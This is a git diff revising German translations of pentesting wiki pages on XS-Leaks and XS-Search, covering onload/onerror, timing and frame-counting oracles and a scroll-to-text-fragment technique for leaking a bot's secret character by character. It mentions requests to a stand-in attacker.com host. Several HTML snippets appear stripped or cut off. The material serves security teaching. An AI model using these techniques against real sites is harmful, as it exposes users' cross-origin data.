Fehlermeldungsseiten können Leak-Informationen entweder direkt aus der Fehlermeldung oder durch Unterscheidung zwischen deren Anwesenheit und Abwesenheit liefern. - **Globale Grenzen**: Physische Einschränkungen eines Browsers, wie Speicherkapazität oder andere durch den Browser durchgesetzte Grenzen, können signalisieren, wenn ein Schwellenwert erreicht ist, und dienen als Leak-Technik. -- **Globaler Zustand**: Erkennbare Interaktionen mit den **globalen Zuständen** von Browsern (z. B. die History-Schnittstelle) können ausgenutzt werden. Zum Beispiel kann die **Anzahl der Einträge** im Verlauf eines Browsers Hinweise auf Cross-Origin-Seiten geben. -- **Performance-API**: Diese API bietet **Leistungsdetails der aktuellen Seite**, einschließlich Netzwerkzeit für das Dokument und geladene Ressourcen, die Rückschlüsse auf angeforderte Ressourcen ermöglichen. -- **Lesbare Attribute**: Einige HTML-Attribute sind **über Ursprünge hinweg lesbar** und können als Leak-Technik verwendet werden. Zum Beispiel ermöglicht die `window.frame.length`-Eigenschaft JavaScript, die in einer Webseite über Ursprünge hinweg enthaltenen Frames zu zählen. +- **Globaler Zustand**: Erkennbare Interaktionen mit den **globalen Zuständen** der Browser (z. B. die History-Schnittstelle) können ausgenutzt werden. Zum Beispiel kann die **Anzahl der Einträge** im Verlauf eines Browsers Hinweise auf Seiten über verschiedene Ursprünge geben. +- **Performance-API**: Diese API bietet **Leistungsdetails der aktuellen Seite**, einschließlich Netzwerkzeit für das Dokument und geladene Ressourcen, was Schlussfolgerungen über angeforderte Ressourcen ermöglicht. +- **Lesbare Attribute**: Einige HTML-Attribute sind **über verschiedene Ursprünge hinweg lesbar** und können als Leak-Technik verwendet werden. Zum Beispiel ermöglicht die `window.frame.length`-Eigenschaft JavaScript, die in einer Webseite über verschiedene Ursprünge hinweg enthaltenen Frames zu zählen. ## XSinator-Tool & Papier @@ -53,7 +53,7 @@ Sie können **auf das Tool zugreifen unter** [**https://xsinator.com/**](https:/ ## **Zeitbasierte Techniken** -Einige der folgenden Techniken werden Timing verwenden, um Unterschiede in den möglichen Zuständen der Webseiten zu erkennen. Es gibt verschiedene Möglichkeiten, Zeit in einem Webbrowser zu messen. +Einige der folgenden Techniken werden Zeit als Teil des Prozesses verwenden, um Unterschiede in den möglichen Zuständen der Webseiten zu erkennen. Es gibt verschiedene Möglichkeiten, Zeit in einem Webbrowser zu messen. **Uhren**: Die [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) API ermöglicht Entwicklern, hochauflösende Zeitmessungen zu erhalten.\ Es gibt eine beträchtliche Anzahl von APIs, die Angreifer missbrauchen können, um implizite Uhren zu erstellen: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), CSS-Animationen und andere.\ @@ -66,14 +66,14 @@ Für weitere Informationen: [https://xsleaks.dev/docs/attacks/timing-attacks/clo - **Einbeziehungsmethoden**: Frames, HTML-Elemente - **Erkennbare Unterschiede**: Statuscode - **Weitere Informationen**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/) -- **Zusammenfassung**: Wenn versucht wird, eine Ressource zu laden, werden onerror/onload-Ereignisse ausgelöst, wenn die Ressource erfolgreich/nicht erfolgreich geladen wird, sodass es möglich ist, den Statuscode herauszufinden. +- **Zusammenfassung**: Wenn versucht wird, eine Ressource zu laden, werden onerror/onload-Ereignisse ausgelöst, wenn die Ressource erfolgreich/nicht erfolgreich geladen wird, wodurch es möglich ist, den Statuscode zu ermitteln. - **Codebeispiel**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)]() {{#ref}} xs-search/cookie-bomb-+-onerror-xs-leak.md {{#endref}} -Das Codebeispiel versucht, **Skripte von JS** zu laden, aber **andere Tags** wie Objekte, Stylesheets, Bilder, Audios könnten ebenfalls verwendet werden. Darüber hinaus ist es auch möglich, das **Tag direkt** einzufügen und die `onload`- und `onerror`-Ereignisse innerhalb des Tags zu deklarieren (anstatt es von JS einzufügen). +Das Codebeispiel versucht, **Skripte von JS** zu **laden**, aber **andere Tags** wie Objekte, Stylesheets, Bilder, Audios könnten ebenfalls verwendet werden. Darüber hinaus ist es auch möglich, das **Tag direkt** einzufügen und die `onload`- und `onerror`-Ereignisse innerhalb des Tags zu deklarieren (anstatt es von JS einzufügen). Es gibt auch eine skriptlose Version dieses Angriffs: ```html @@ -97,7 +97,7 @@ xs-search/performance.now-example.md #### Onload Timing + Forced Heavy Task -Diese Technik ist wie die vorherige, aber der **Angreifer** wird auch **erzwingen**, dass eine Aktion eine **relevante Zeitspanne** benötigt, wenn die **Antwort positiv oder negativ** ist, und diese Zeit messen. +Diese Technik ist wie die vorherige, aber der **Angreifer** wird auch **eine Aktion erzwingen**, die eine **relevante Zeitspanne** benötigt, wenn die **Antwort positiv oder negativ** ist, und diese Zeit messen. {{#ref}} xs-search/performance.now-+-force-heavy-task.md @@ -121,7 +121,7 @@ Die Zeit, die benötigt wird, um eine Ressource abzurufen, kann gemessen werden, - **Summary:** Die [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API kann verwendet werden, um zu messen, wie viel Zeit benötigt wird, um eine Anfrage auszuführen. Andere Uhren könnten ebenfalls verwendet werden. - **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks) -Es wurde beobachtet, dass in Abwesenheit von [Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/) die Zeit, die benötigt wird, um eine Seite und ihre Unterressourcen über das Netzwerk zu laden, von einem Angreifer gemessen werden kann. Diese Messung ist typischerweise möglich, da der `onload`-Handler eines iframes nur nach Abschluss des Ladens der Ressourcen und der Ausführung von JavaScript ausgelöst wird. Um die Variabilität zu umgehen, die durch die Ausführung von Skripten eingeführt wird, könnte ein Angreifer das [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) Attribut innerhalb des ` ``` -Daher können Sie **eine Menge Junk-Zeichen** hinzufügen (zum Beispiel **tausende von "W"s**), um **die Webseite vor dem Geheimnis zu füllen oder etwas wie** `

.` hinzuzufügen.\ -Wenn zum Beispiel unsere **Injektion vor dem Flag erscheint**, wird das **Bild** **geladen**, aber wenn es **nach** dem **Flag** erscheint, wird das Flag + der Junk **verhindern, dass es geladen wird** (Sie müssen damit experimentieren, wie viel Junk Sie platzieren). Das ist, was in [**diesem Bericht**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) passiert ist. +Daher können Sie **eine Menge Junk-Zeichen** hinzufügen (zum Beispiel **tausende von "W"s**), um **die Webseite vor dem Geheimnis zu füllen oder etwas wie** `

.`\ +Wenn zum Beispiel unsere **Injektion vor dem Flag erscheint**, würde das **Bild** **geladen** werden, aber wenn es **nach** dem **Flag** erscheint, wird das Flag + der Junk **verhindern, dass es geladen wird** (Sie müssen experimentieren, wie viel Junk Sie platzieren). Das ist, was in [**diesem Bericht**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) passiert ist. -Eine andere Möglichkeit wäre, das **scroll-to-text-fragment** zu verwenden, wenn es erlaubt ist: +Eine andere Möglichkeit wäre, den **scroll-to-text-fragment** zu verwenden, wenn dies erlaubt ist: #### Scroll-to-text-fragment @@ -867,7 +867,7 @@ Die Webseite wird etwa so aussehen: **`https://victim.com/post.html#:~:text=SECR Wo post.html die Angreifer-Junk-Zeichen und ein Lazy-Load-Bild enthält und dann das Geheimnis des Bots hinzugefügt wird. -Was dieser Text bewirken wird, ist, dass der Bot auf jeden Text auf der Seite zugreift, der den Text `SECR` enthält. Da dieser Text das Geheimnis ist und sich **direkt unter dem Bild** befindet, **wird das Bild nur geladen, wenn das erratene Geheimnis korrekt ist**. So haben Sie Ihr Orakel, um **das Geheimnis Zeichen für Zeichen zu exfiltrieren**. +Was dieser Text bewirken wird, ist, dass der Bot auf jeden Text auf der Seite zugreift, der den Text `SECR` enthält. Da dieser Text das Geheimnis ist und sich **direkt unter dem Bild** befindet, wird das **Bild nur geladen, wenn das erratene Geheimnis korrekt ist**. So haben Sie Ihr Orakel, um **das Geheimnis Zeichen für Zeichen zu exfiltrieren**. Ein Codebeispiel, um dies auszunutzen: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e) @@ -893,7 +893,7 @@ $( "*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']" ) ``` -### CSS-Injection +### CSS Injection {{#ref}} xs-search/css-injection/ diff --git a/src/pentesting-web/xs-search/README.md b/src/pentesting-web/xs-search/README.md index d668c812f..2f02246aa 100644 --- a/src/pentesting-web/xs-search/README.md +++ b/src/pentesting-web/xs-search/README.md @@ -4,43 +4,43 @@ ## Grundinformationen -XS-Search ist eine Methode zur **Extraktion von Informationen über verschiedene Ursprünge** durch Ausnutzung von **Nebenkanalanfälligkeiten**. +XS-Search ist eine Methode zur **Extraktion von Informationen über Ursprünge hinweg**, die **Seitenkanalanfälligkeiten** ausnutzt. Wichtige Komponenten, die an diesem Angriff beteiligt sind: -- **Anfällige Webseite**: Die Zielwebsite, von der Informationen extrahiert werden sollen. -- **Angreifer-Webseite**: Die bösartige Webseite, die vom Angreifer erstellt wurde und die der Opfer besucht, um den Exploit zu hosten. -- **Einbeziehungsmethode**: Die Technik, die verwendet wird, um die Anfällige Webseite in die Angreifer-Webseite einzubeziehen (z. B. window.open, iframe, fetch, HTML-Tag mit href usw.). -- **Leak-Technik**: Techniken, die verwendet werden, um Unterschiede im Zustand der Anfälligen Webseite basierend auf Informationen zu erkennen, die durch die Einbeziehungsmethode gesammelt wurden. -- **Zustände**: Die beiden potenziellen Bedingungen der Anfälligen Webseite, die der Angreifer zu unterscheiden versucht. -- **Erkennbare Unterschiede**: Beobachtbare Variationen, auf die der Angreifer sich verlässt, um den Zustand der Anfälligen Webseite abzuleiten. +- **Anfälliges Web**: Die Zielwebsite, von der Informationen extrahiert werden sollen. +- **Angreifer-Web**: Die bösartige Website, die vom Angreifer erstellt wurde und die der Opfer besucht, um den Exploit zu hosten. +- **Einbeziehungsmethode**: Die Technik, die verwendet wird, um das Anfällige Web in das Angreifer-Web zu integrieren (z. B. window.open, iframe, fetch, HTML-Tag mit href usw.). +- **Leak-Technik**: Techniken, die verwendet werden, um Unterschiede im Zustand des Anfälligen Webs basierend auf Informationen zu erkennen, die durch die Einbeziehungsmethode gesammelt wurden. +- **Zustände**: Die beiden potenziellen Bedingungen des Anfälligen Webs, die der Angreifer zu unterscheiden versucht. +- **Erkennbare Unterschiede**: Beobachtbare Variationen, auf die der Angreifer sich verlässt, um den Zustand des Anfälligen Webs abzuleiten. ### Erkennbare Unterschiede -Mehrere Aspekte können analysiert werden, um die Zustände der Anfälligen Webseite zu unterscheiden: +Mehrere Aspekte können analysiert werden, um die Zustände des Anfälligen Webs zu unterscheiden: -- **Statuscode**: Unterscheidung zwischen **verschiedenen HTTP-Antwortstatuscodes** über verschiedene Ursprünge, wie Serverfehler, Clientfehler oder Authentifizierungsfehler. +- **Statuscode**: Unterscheidung zwischen **verschiedenen HTTP-Antwortstatuscodes** über Ursprünge hinweg, wie Serverfehler, Clientfehler oder Authentifizierungsfehler. - **API-Nutzung**: Identifizierung der **Nutzung von Web-APIs** über Seiten hinweg, die offenbart, ob eine Cross-Origin-Seite eine bestimmte JavaScript-Web-API verwendet. -- **Weiterleitungen**: Erkennung von Navigationen zu verschiedenen Seiten, nicht nur HTTP-Weiterleitungen, sondern auch solche, die durch JavaScript oder HTML ausgelöst werden. -- **Seiteninhalt**: Beobachtung von **Variationen im HTTP-Antwortkörper** oder in Seitenunterressourcen, wie der **Anzahl eingebetteter Frames** oder Größenunterschieden bei Bildern. +- **Weiterleitungen**: Erkennung von Navigationen zu anderen Seiten, nicht nur HTTP-Weiterleitungen, sondern auch solche, die durch JavaScript oder HTML ausgelöst werden. +- **Seiteninhalt**: Beobachtung von **Variationen im HTTP-Antwortkörper** oder in Seitenunterressourcen, wie der **Anzahl der eingebetteten Frames** oder Größenunterschieden bei Bildern. - **HTTP-Header**: Feststellung der Anwesenheit oder möglicherweise des Wertes eines **bestimmten HTTP-Antwortheaders**, einschließlich Header wie X-Frame-Options, Content-Disposition und Cross-Origin-Resource-Policy. -- **Timing**: Feststellung konsistenter Zeitunterschiede zwischen den beiden Zuständen. +- **Timing**: Wahrnehmung konsistenter Zeitunterschiede zwischen den beiden Zuständen. ### Einbeziehungsmethoden -- **HTML-Elemente**: HTML bietet verschiedene Elemente zur **Einbeziehung von Ressourcen über verschiedene Ursprünge**, wie Stylesheets, Bilder oder Skripte, die den Browser zwingen, eine Nicht-HTML-Ressource anzufordern. Eine Zusammenstellung potenzieller HTML-Elemente für diesen Zweck finden Sie unter [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks). -- **Frames**: Elemente wie **iframe**, **object** und **embed** können HTML-Ressourcen direkt in die Seite des Angreifers einbetten. Wenn die Seite **keinen Framing-Schutz** hat, kann JavaScript auf das Fensterobjekt der eingebetteten Ressource über die Eigenschaft contentWindow zugreifen. -- **Pop-ups**: Die **`window.open`**-Methode öffnet eine Ressource in einem neuen Tab oder Fenster und bietet einen **Fenster-Handle**, mit dem JavaScript mit Methoden und Eigenschaften gemäß dem SOP interagieren kann. Pop-ups, die häufig bei der einmaligen Anmeldung verwendet werden, umgehen die Framing- und Cookie-Beschränkungen einer Zielressource. Moderne Browser schränken jedoch die Erstellung von Pop-ups auf bestimmte Benutzeraktionen ein. +- **HTML-Elemente**: HTML bietet verschiedene Elemente zur **Einbeziehung von Ressourcen über Ursprünge hinweg**, wie Stylesheets, Bilder oder Skripte, die den Browser zwingen, eine Nicht-HTML-Ressource anzufordern. Eine Zusammenstellung potenzieller HTML-Elemente für diesen Zweck finden Sie unter [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks). +- **Frames**: Elemente wie **iframe**, **object** und **embed** können HTML-Ressourcen direkt in die Seite des Angreifers einbetten. Wenn die Seite **keinen Schutz vor Einbettung** hat, kann JavaScript über die contentWindow-Eigenschaft auf das Fensterobjekt der eingebetteten Ressource zugreifen. +- **Pop-ups**: Die **`window.open`**-Methode öffnet eine Ressource in einem neuen Tab oder Fenster und bietet einen **Fenster-Handle**, mit dem JavaScript mit Methoden und Eigenschaften gemäß dem SOP interagieren kann. Pop-ups, die häufig bei der einmaligen Anmeldung verwendet werden, umgehen die Einschränkungen von Einbettungen und Cookies einer Zielressource. Moderne Browser schränken jedoch die Erstellung von Pop-ups auf bestimmte Benutzeraktionen ein. - **JavaScript-Anfragen**: JavaScript erlaubt direkte Anfragen an Zielressourcen unter Verwendung von **XMLHttpRequests** oder der **Fetch API**. Diese Methoden bieten eine präzise Kontrolle über die Anfrage, wie z. B. die Entscheidung, HTTP-Weiterleitungen zu folgen. ### Leak-Techniken -- **Ereignishandler**: Eine klassische Leak-Technik in XS-Leaks, bei der Ereignishandler wie **onload** und **onerror** Einblicke in den Erfolg oder Misserfolg des Ladens von Ressourcen geben. -- **Fehlermeldungen**: JavaScript-Ausnahmen oder spezielle Fehlermeldungsseiten können Leak-Informationen entweder direkt aus der Fehlermeldung oder durch Unterscheidung zwischen ihrer Anwesenheit und Abwesenheit bereitstellen. +- **Ereignis-Handler**: Eine klassische Leak-Technik in XS-Leaks, bei der Ereignis-Handler wie **onload** und **onerror** Einblicke in den Erfolg oder Misserfolg des Ladens von Ressourcen geben. +- **Fehlermeldungen**: JavaScript-Ausnahmen oder spezielle Fehlermeldungsseiten können Leak-Informationen entweder direkt aus der Fehlermeldung oder durch Unterscheidung zwischen deren Anwesenheit und Abwesenheit bereitstellen. - **Globale Grenzen**: Physikalische Einschränkungen eines Browsers, wie Speicherkapazität oder andere durch den Browser durchgesetzte Grenzen, können signalisieren, wenn ein Schwellenwert erreicht ist, und dienen als Leak-Technik. - **Globaler Zustand**: Erkennbare Interaktionen mit den **globalen Zuständen** von Browsern (z. B. die History-Schnittstelle) können ausgenutzt werden. Zum Beispiel kann die **Anzahl der Einträge** im Verlauf eines Browsers Hinweise auf Cross-Origin-Seiten geben. -- **Performance-API**: Diese API bietet **Leistungsdetails der aktuellen Seite**, einschließlich Netzwerkzeit für das Dokument und geladene Ressourcen, was Rückschlüsse auf angeforderte Ressourcen ermöglicht. -- **Lesbare Attribute**: Einige HTML-Attribute sind **über verschiedene Ursprünge lesbar** und können als Leak-Technik verwendet werden. Zum Beispiel ermöglicht die `window.frame.length`-Eigenschaft JavaScript, die in einer Webseite über verschiedene Ursprünge eingebetteten Frames zu zählen. +- **Performance-API**: Diese API bietet **Leistungsdetails der aktuellen Seite**, einschließlich Netzwerkzeit für das Dokument und geladene Ressourcen, die Rückschlüsse auf angeforderte Ressourcen ermöglichen. +- **Lesbare Attribute**: Einige HTML-Attribute sind **über Ursprünge hinweg lesbar** und können als Leak-Technik verwendet werden. Zum Beispiel ermöglicht die `window.frame.length`-Eigenschaft JavaScript, die in einer Webseite über Ursprünge hinweg enthaltenen Frames zu zählen. ## XSinator-Tool & Papier @@ -59,21 +59,21 @@ Einige der folgenden Techniken werden Zeit als Teil des Prozesses verwenden, um Es gibt eine beträchtliche Anzahl von APIs, die Angreifer missbrauchen können, um implizite Uhren zu erstellen: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), CSS-Animationen und andere.\ Für weitere Informationen: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/). -## Techniken der Ereignishandler +## Ereignis-Handler-Techniken ### Onload/Onerror - **Einbeziehungsmethoden**: Frames, HTML-Elemente - **Erkennbare Unterschiede**: Statuscode - **Weitere Informationen**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/) -- **Zusammenfassung**: Wenn versucht wird, eine Ressource zu laden, werden onerror/onload-Ereignisse ausgelöst, wenn die Ressource erfolgreich/nicht erfolgreich geladen wird, wodurch es möglich ist, den Statuscode herauszufinden. +- **Zusammenfassung**: Wenn versucht wird, eine Ressource zu laden, werden onerror/onload-Ereignisse ausgelöst, wenn die Ressource erfolgreich/nicht erfolgreich geladen wird, sodass es möglich ist, den Statuscode herauszufinden. - **Codebeispiel**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)]() {{#ref}} cookie-bomb-+-onerror-xs-leak.md {{#endref}} -Das Codebeispiel versucht, **Skripte von JS** zu **laden**, aber **andere Tags** wie Objekte, Stylesheets, Bilder, Audios könnten ebenfalls verwendet werden. Darüber hinaus ist es auch möglich, das **Tag direkt** einzufügen und die `onload`- und `onerror`-Ereignisse innerhalb des Tags zu deklarieren (anstatt es von JS einzufügen). +Das Codebeispiel versucht, **Skripte von JS** zu laden, aber **andere Tags** wie Objekte, Stylesheets, Bilder, Audios könnten ebenfalls verwendet werden. Darüber hinaus ist es auch möglich, das **Tag direkt** einzufügen und die `onload`- und `onerror`-Ereignisse innerhalb des Tags zu deklarieren (anstatt sie von JS einzufügen). Es gibt auch eine skriptlose Version dieses Angriffs: ```html @@ -88,7 +88,7 @@ In diesem Fall, wenn `example.com/404` nicht gefunden wird, wird `attacker.com/? - **Inclusion Methods**: HTML-Elemente - **Detectable Difference**: Timing (generell aufgrund von Seiteninhalt, Statuscode) - **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) -- **Summary:** Die [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** kann verwendet werden, um zu messen, wie viel Zeit benötigt wird, um eine Anfrage auszuführen. Es könnten jedoch auch andere Uhren verwendet werden, wie die [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming), die Aufgaben identifizieren kann, die länger als 50 ms laufen. +- **Summary:** Die [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** kann verwendet werden, um zu messen, wie viel Zeit benötigt wird, um eine Anfrage auszuführen. Andere Uhren könnten ebenfalls verwendet werden, wie die [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming), die Aufgaben identifizieren kann, die länger als 50 ms laufen. - **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) ein weiteres Beispiel in: {{#ref}} @@ -97,7 +97,7 @@ performance.now-example.md #### Onload Timing + Forced Heavy Task -Diese Technik ist wie die vorherige, aber der **Angreifer** wird auch **erzwingen**, dass eine Aktion eine **relevante Zeitspanne** benötigt, wenn die **Antwort positiv oder negativ** ist, und diese Zeit messen. +Diese Technik ist wie die vorherige, aber der **Angreifer** wird auch **eine Aktion erzwingen**, die eine **relevante Zeitspanne** benötigt, wenn die **Antwort positiv oder negativ** ist, und diese Zeit messen. {{#ref}} performance.now-+-force-heavy-task.md @@ -108,7 +108,7 @@ performance.now-+-force-heavy-task.md - **Inclusion Methods**: Frames - **Detectable Difference**: Timing (generell aufgrund von Seiteninhalt, Statuscode) - **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events) -- **Summary:** Die [SharedArrayBuffer-Uhr](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) kann verwendet werden, um zu messen, wie viel Zeit benötigt wird, um eine Anfrage auszuführen. Es könnten auch andere Uhren verwendet werden. +- **Summary:** Die [SharedArrayBuffer-Uhr](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) kann verwendet werden, um zu messen, wie viel Zeit benötigt wird, um eine Anfrage auszuführen. Andere Uhren könnten ebenfalls verwendet werden. - **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events) Die Zeit, die benötigt wird, um eine Ressource abzurufen, kann gemessen werden, indem die [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) und [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event) Ereignisse genutzt werden. Das **`beforeunload`** Ereignis wird ausgelöst, wenn der Browser dabei ist, zu einer neuen Seite zu navigieren, während das **`unload`** Ereignis auftritt, wenn die Navigation tatsächlich stattfindet. Der Zeitunterschied zwischen diesen beiden Ereignissen kann berechnet werden, um die **Dauer zu bestimmen, die der Browser mit dem Abrufen der Ressource verbracht hat**. @@ -118,10 +118,10 @@ Die Zeit, die benötigt wird, um eine Ressource abzurufen, kann gemessen werden, - **Inclusion Methods**: Frames - **Detectable Difference**: Timing (generell aufgrund von Seiteninhalt, Statuscode) - **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks) -- **Summary:** Die [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API kann verwendet werden, um zu messen, wie viel Zeit benötigt wird, um eine Anfrage auszuführen. Es könnten auch andere Uhren verwendet werden. +- **Summary:** Die [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API kann verwendet werden, um zu messen, wie viel Zeit benötigt wird, um eine Anfrage auszuführen. Andere Uhren könnten ebenfalls verwendet werden. - **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks) -Es wurde beobachtet, dass in Abwesenheit von [Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/) die Zeit, die benötigt wird, um eine Seite und ihre Unterressourcen über das Netzwerk zu laden, von einem Angreifer gemessen werden kann. Diese Messung ist typischerweise möglich, da der `onload`-Handler eines iframes nur nach Abschluss des Ladens der Ressourcen und der Ausführung von JavaScript ausgelöst wird. Um die Variabilität zu umgehen, die durch die Ausführung von Skripten eingeführt wird, könnte ein Angreifer das [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) Attribut innerhalb des ` @@ -131,12 +131,12 @@ Es wurde beobachtet, dass in Abwesenheit von [Framing Protections](https://xslea - **Inclusion Methods**: Frames - **Detectable Difference**: Seiteninhalt - **More info**: -- **Summary**: Wenn Sie die Seite so gestalten können, dass sie einen Fehler anzeigt, wenn auf den richtigen Inhalt zugegriffen wird, und sie korrekt lädt, wenn auf beliebigen Inhalt zugegriffen wird, können Sie eine Schleife erstellen, um alle Informationen zu extrahieren, ohne die Zeit zu messen. +- **Summary**: Wenn Sie die Seite so gestalten können, dass sie einen Fehler anzeigt, wenn der korrekte Inhalt aufgerufen wird, und sie korrekt lädt, wenn irgendein Inhalt aufgerufen wird, können Sie eine Schleife erstellen, um alle Informationen zu extrahieren, ohne die Zeit zu messen. - **Code Example**: Angenommen, Sie können die **Seite** mit dem **geheimen** Inhalt **in ein Iframe einfügen**. -Sie können den **Opfer dazu bringen, nach** der Datei zu suchen, die "_**flag**_" enthält, indem Sie ein **Iframe** verwenden (zum Beispiel durch Ausnutzung eines CSRF). Innerhalb des Iframes wissen Sie, dass das _**onload-Ereignis**_ **immer mindestens einmal** ausgeführt wird. Dann können Sie die **URL** des **Iframes ändern**, indem Sie nur den **Inhalt** des **Hash** innerhalb der URL ändern. +Sie können den **Opfer dazu bringen, nach** der Datei zu suchen, die "_**flag**_" enthält, indem Sie ein **Iframe** verwenden (zum Beispiel durch Ausnutzung eines CSRF). Innerhalb des Iframes wissen Sie, dass das _**onload-Ereignis**_ **immer mindestens einmal** ausgeführt wird. Dann können Sie die **URL** des **Iframes** ändern, indem Sie nur den **Inhalt** des **Hash** innerhalb der URL ändern. Zum Beispiel: @@ -145,14 +145,14 @@ Zum Beispiel: Wenn die erste URL **erfolgreich geladen** wurde, wird das **onload**-Ereignis **nicht erneut ausgelöst**, wenn der **Hash**-Teil der URL geändert wird. Aber **wenn** die Seite beim **Laden** einen **Fehler** hatte, wird das **onload**-Ereignis **erneut ausgelöst**. -Dann können Sie zwischen einer **korrekt** geladenen Seite oder einer Seite, die beim Zugriff einen **Fehler** hat, **unterscheiden**. +Dann können Sie **unterscheiden zwischen** einer **korrekt** geladenen Seite oder einer Seite, die einen **Fehler** aufweist, wenn sie aufgerufen wird. ### Javascript-Ausführung - **Inclusion Methods**: Frames - **Detectable Difference**: Seiteninhalt - **More info**: -- **Summary:** Wenn die **Seite** den **sensiblen** Inhalt **oder** einen **Inhalt**, der vom Benutzer **kontrolliert** werden kann, **zurückgibt**. Der Benutzer könnte **gültigen JS-Code im negativen Fall** festlegen, und **jeden Versuch innerhalb von ` ``` Die Antwort ist: - **Modul** (Standard, nichts zu erklären) -- [**Webbundle**](https://web.dev/web-bundles/): Web Bundles ist eine Funktion, mit der Sie eine Menge Daten (HTML, CSS, JS…) in einer **`.wbn`**-Datei bündeln können. +- [**Webbundle**](https://web.dev/web-bundles/): Web Bundles ist eine Funktion, mit der Sie eine Menge Daten (HTML, CSS, JS…) in eine **`.wbn`**-Datei bündeln können. ```html